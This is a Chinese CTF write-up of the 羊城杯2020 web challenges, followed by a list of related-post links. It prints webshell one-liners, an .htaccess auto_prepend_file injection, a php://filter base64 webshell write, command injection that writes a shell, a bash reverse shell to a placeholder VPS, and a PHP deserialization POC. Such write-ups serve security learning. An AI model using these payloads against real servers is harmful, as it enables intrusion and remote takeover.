[NSSCTF][羊城杯2020]WEB复现
easycon
考点:一句话,base64转图片
访问index.php,提示eval post cmd
,应该是有一句话,直接蚁剑连接
里面有一个bbbbbbbbb.txt
,打开发现是一串base64编码
发现是jpg头,base64转图片即可
easyphp
考点:.htaccess
<?php$files = scandir('./'); foreach($files as $file) {if(is_file($file)){if ($file !== "index.php") {unlink($file);}}}if(!isset($_GET['content']) || !isset($_GET['filename'])) {highlight_file(__FILE__);die();}$content = $_GET['content'];if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {echo "Hacker";die();}$filename = $_GET['filename'];if(preg_match("/[^a-z\.]/", $filename) == 1) {echo "Hacker";die();}$files = scandir('./'); foreach($files as $file) {if(is_file($file)){if ($file !== "index.php") {unlink($file);}}}file_put_contents($filename, $content . "\nHello, world");
?>
代码审计,content
不能有on|html|type|flag|upload|file关键字,filename
只能有字母和点,且每次访问都会删除当前目录除index.php之外的文件。
我们先尝试写一个一句话进去
?filename=a.php&content=/**/<?php eval($_POST[1]);?>/*
然而发现并没有解析,猜测配置文件中关闭了php解析(该题应该是只设置index.php解析)
开发者既可以在主配置文件中更改 php_flag值,也可以在分布式配置文件(.htaccess)中更改此值
且.htaccess
优先度高于主配置文件
.htaccess
可以更改 auto_append_file 这个属性,这个属性是指php文件自动包含的文件,可以自己包含自己来获取webshell
法一:
?filename=.htaccess&content=php_value%20auto_prepend_fi\%0ale%20".htaccess"%0a%23%20<?php system($_POST["cmd"]);?>\
这里%23
也就是#的作用是注释,避免服务端报错
法二
?content=php_value%20pcre.backtrack_limit%200%0aphp_value%20pcre.jit%200%0a%23\&f ilename=.htaccess
这里通过设置正则回溯次数来绕过正则匹配,之后就可以用伪协议写入木马
?filename=php://filter/write=convert.base64- decode/resource=.htaccess&content=cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0IDAKcG hwX3ZhbHVlIHBjcmUuaml0IDAKcGhwX3ZhbHVlIGF1dG9fYXBwZW5kX2ZpbGUgLmh0YWNjZXNzCiM8P3 BocCBldmFsKCRfR0VUWzFdKTs/Plw&1=phpinfo();
easyphp2
考点:伪协议
url最后是/?file=GWHT.php
,猜测是文件包含
访问robots.txt
,提示check.php
那我们尝试用伪协议读取,有过滤,编码绕过
?file=php://filter/convert.%6%32ase64-encode/resource=GWHT.php
读到源码:
GWHT.PHP
<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="ie=edge"><title>count is here</title><style>html,body {overflow: none;max-height: 100vh;}</style>
</head><body style="height: 100vh; text-align: center; background-color: green; color: blue; display: flex; flex-direction: column; justify-content: center;"><center><img src="question.jpg" height="200" width="200" /> </center><?phpini_set('max_execution_time', 5);if ($_COOKIE['pass'] !== getenv('PASS')) {setcookie('pass', 'PASS');die('<h2>'.'<hacker>'.'<h2>'.'<br>'.'<h1>'.'404'.'<h1>'.'<br>'.'Sorry, only people from GWHT are allowed to access this website.'.'23333');}?><h1>A Counter is here, but it has someting wrong</h1><form><input type="hidden" value="GWHT.php" name="file"><textarea style="border-radius: 1rem;" type="text" name="count" rows=10 cols=50></textarea><br /><input type="submit"></form><?phpif (isset($_GET["count"])) {$count = $_GET["count"];if(preg_match('/;|base64|rot13|base32|base16|<\?php|#/i', $count)){die('hacker!');}echo "<h2>The Count is: " . exec('printf \'' . $count . '\' | wc -c') . "</h2>";}?></body></html>
check.php
<?php
$pass = "GWHT";
// Cookie password.
echo "Here is nothing, isn't it ?";header('Location: /');
看代码先写个马:
?file=GWHT.php&count='|echo "<?= eval(\$_POST[1])?>" > a.php'
蚁剑连接
在/GWHT/README
中找到一个md之后的password,解密得到
GWHTCTF
找一找flag位置:
find / -name "flag*"
找到了:
/GWHT/system/of/a/down/flag.txt
直接读取没有权限,我们查看一下ls -la
发现需要root权限或者GWHT用户,执行命令
printf "GWHTCTF" | su - GWHT -c 'cat /GWHT/system/of/a/down/flag.txt'
Blackcat
F12查看源码,点进MP3,在最底部发现源码
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){die('Ë£¡¾¹¸Ò²ÈÎÒÒ»Ö»¶úµÄβ°Í£¡');
}$clandestine = getenv("clandestine");if(isset($_POST['White-cat-monitor']))$clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);if($hh !== $_POST['Black-Cat-Sheriff']){die('ÓÐÒâÃé×¼£¬ÎÞÒâ»÷·¢£¬ÄãµÄÃÎÏë¾ÍÊÇÄãÒªÃé×¼µÄÄ¿±ê¡£ÏàÐÅ×Ô¼º£¬Äã¾ÍÊÇÄÇ¿ÅÉäÖаÐÐĵÄ×Óµ¯¡£');
}echo exec("nc".$_POST['One-ear']);
hash_hmac()函数第二个参数为数组的时候,返回结果为NULL。
<?php
$cmd0=";bash -c 'bash -i >%26 /dev/tcp/vps/ip/8888 0>%261'";
$cmd = ";bash -c 'bash -i >& /dev/tcp/vps/ip/8888 0>&1'";
$hmac = hash_hmac('sha256', $cmd, false);
echo "White-cat-monitor[]=a&One-ear=".$cmd0."&Black-Cat-Sheriff=".$hmac;
反弹shell即可
easyser
考点:SSRF,绕过死亡exit
查看robots.txt文件提示star1.php
进入查看源码,提示小胖说用个不安全的协议从我家才能进ser.php呢
使用:
http://127.0.0.1/ser.php
得到源码:
<?php
error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {highlight_file(__FILE__);
}
$flag='{Trump_:"fake_news!"}';class GWHT{public $hero;public function __construct(){$this->hero = new Yasuo;}public function __toString(){if (isset($this->hero)){return $this->hero->hasaki();}else{return "You don't look very happy";}}
}
class Yongen{ //flag.phppublic $file;public $text;public function __construct($file='',$text='') {$this -> file = $file;$this -> text = $text;}public function hasaki(){$d = '<?php die("nononon");?>';$a= $d. $this->text;@file_put_contents($this-> file,$a);}
}
class Yasuo{public function hasaki(){return "I'm the best happy windy man";}
}?>
构造POC:
<?php
class GWHT{public $hero;
}class Yongen{ //flag.phppublic $file = "php://filter/convert.base64-decode/resource=aaa.php";public $text = "aaaPD9waHAgZXZhbCgkX1BPU1Rbc10pOyAgPz4=";
}$a = new GWHT;
$a->hero = new Yongen;
echo urlencode(serialize($a));
[NSSCTF][羊城杯2020]WEB复现相关推荐
- [羊城杯 2020] Web
easycon 打开就是 扫出来个index.php 然后访问 提示eval post cmd,看来是post了个cmd可以执行命令 找到bbbbbbbbb.txt文件,用base64解码得到包含fl ...
- [羊城杯 2020]逃离东南亚
[羊城杯 2020]逃离东南亚 考点 复现过程 参考链接 考点 1.图片高度隐写 2.silenteye 3.空格与tab隐写 4.需要编程找到隐写内容并进行解码 复现过程 解压压缩包有三个压缩包文件 ...
- [羊城杯 2020]GMC
[羊城杯 2020]GMC 题目 from Crypto.Util.number import getPrime,bytes_to_long,getRandomNBitInteger from sec ...
- [羊城杯 2020]Power
[羊城杯 2020]Power 题目 from Crypto.Util.number import * import gmpy2 from secret import flagp = getPrime ...
- [羊城杯 2020]RRRRRRRSA
[羊城杯 2020]RRRRRRRSA 题目 import hashlib import sympy from Crypto.Util.number import *flag = 'GWHT{**** ...
- [羊城杯 2020]Bytecode [UTCTF2020]babymips
文章目录 [羊城杯 2020]Bytecode 查看题目 python代码 注意点: BINARY_SUBTRACT 这个是减法 BINARY_SUBSCR 这个是索引 Z3约束脚本 注意点: 注意最 ...
- 纵横杯2020 web wp
title: 纵横杯2020 web wp date: 2020-12-26 18:19:03 tags: CTF categories: 比赛 link:https://yq1ng.github.i ...
- [羊城杯 2020]login [SUCTF2019]hardcpp
文章目录 [羊城杯 2020]login 思路:一个py编译的exe,需要解包,然后反编译成py文件 1.解包:python pyinstxtractor.py login.exe 提示:pyinst ...
- [羊城杯2020]easyphp --- 伪协议的使用时机,---python上传.htaccess的利用 -- preg_match绕过
目录: 一. 自己做: 二.学到的.不足: 三. 1. 利用.htaccess来设置文件自动包含 2. 绕过 \n 的过滤 3. 绕过stristr的过滤. 4. 绕过preg_match 2.思路二 ...
- buuctf————[羊城杯 2020]login
1.查壳. 无壳,64位.(当时还不知到PyInstaller ) 2.直接丢到IDA反编译.发现啥也没有. (连个提示性的字符串也没有,但运行是有input something.很迷.) 看了看大佬 ...
最新文章
- research paper for management science
- 的引用_java中的强引用,软引用,弱引用,虚引用
- 到底什么是IT服务管理
- Mybatis Plus————代码生成器
- Flutter实现倒计时功能
- iOS学习笔记11 多线程入门
- echarts树图节点垂直间距_铝模板的安装、拆除、节点、禁止做法详解
- 思达报表工具Style Report基础教程—用选择列表,选择树进行数据过滤
- 拓端tecdat|R语言精算学:使用链梯法Chain Ladder和泊松定律模拟和预测未来赔款数据
- 详细关闭iiop方法_安卓手机卡顿清理垃圾是没用的,教你关闭几个设置,告别手机迟钝...
- 微波炉控制器的设计(EDA课程设计)
- 华为手机如何安装google play, chrome等
- iphone应用隐私政策_如何在iPhone上“隐藏”联系人以获得更大的隐私
- STM32FXXX J-link下载程序说明
- 100条有效学习方法
- 李小龙传奇一生的资料(多图)
- 用python处理excel文件_python处理Excel文件
- 【Matlab绘图进阶第5弹】Matlab绘制三维散点图
- “达内”JAVA技术培训有感(一)
- Solr: Introduction